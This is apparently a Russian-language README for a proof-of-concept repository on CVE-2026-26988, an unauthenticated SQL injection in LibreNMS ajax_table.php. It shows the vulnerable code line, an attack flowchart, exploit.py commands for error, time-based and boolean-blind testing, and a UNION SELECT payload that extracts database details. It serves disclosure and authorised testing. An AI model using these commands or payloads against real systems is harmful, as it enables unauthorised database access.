CVE-2026-26988 – Неаутентифицированная SQL-инъекция в LibreNMS (PoC)

Неаутентифицированная SQL-инъекция в ajax_table.php LibreNMS через параметр поиска IPv6-адреса.

Затронутые версии: LibreNMS ≤ 25.12.0
Исправлено в: LibreNMS ≥ 26.1 (коммит 15429580baba03ed1dd377bada1bde4b7a1175a1)
CVSS v4.0: 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N
CWE: CWE-89 (Некорректная нейтрализация специальных элементов, используемых в SQL-команде – SQL-инъекция)

Сводка по уязвимости

Параметр address при search_type=ipv6 разделяется по / на адрес и префикс.
Префикс напрямую конкатенируется в SQL-запрос без экранирования:

$sql .= " AND ipv6_prefixlen = '$prefix'";

Одинарная кавычка (') в части префикса позволяет выйти из строкового литерала → произвольная SQL-инъекция.

Схема атаки

flowchart TD
    A[Attacker] -->|1. HTTP POST to /ajax_table.php| B[LibreNMS Web Server]
    B -->|2. id=address-search & search_type=ipv6| C[Parse address parameter]
    C -->|3. Split on '/' → $address / $prefix| D[Build vulnerable SQL]
    D -->|4. Concatenate: ipv6_prefixlen = '$prefix'| E[MySQL / MariaDB]
    E -->|5. Execute injected query| F[Return results / error / delay]
    F -->|6. Attacker observes response / timing| A

    subgraph "Injection Point"
        D
    end

    style D fill:#ff4d4d,stroke:#333,stroke-width:2px,color:#fff

Использование Proof-of-Concept

Требования

Python 3.x
библиотека requests (pip install requests)

Базовый тест (синтаксическая ошибка / 500)

python3 exploit.py http://target/librenms --test

Подтверждение на основе времени (рекомендуется)

python3 exploit.py http://192.168.1.50/librenms --time

→ Если ответ занимает >5–6 секунд → уязвим

Булевый слепой тест

python3 exploit.py http://target/librenms --boolean

Пример пользовательской нагрузки

python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT database(),user(),version() -- "

Файлы в этом репозитории

exploit.py .............. Основной PoC-скрипт (при необходимости переименуйте из cve-2026-26988-poc.py)
README.md ............... Этот файл

Ответственное раскрытие

Сообщено: февраль 2026 (через GitHub Security Advisory)
Исправлено в: коммит 15429580baba... → PR #18777
Уведомление: https://github.com/librenms/librenms/security/advisories/GHSA-h3rv-q4rq-pqcv

Правовое и этическое уведомление

Данный proof-of-concept предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности.

НЕ используйте этот код против любой системы или сети без явного письменного разрешения владельца.
Несанкционированное использование может нарушать законы, включая (но не ограничиваясь) Computer Fraud and Abuse Act (CFAA) в США или аналогичное законодательство вашей страны.

Используйте на свой страх и риск.

Автор: Mohammed Idrees Banyamer
Instagram: @banyamer_security
Дата: 20 февраля 2026

CVE-2026-26988-LibreNMS-SQLi

Популярное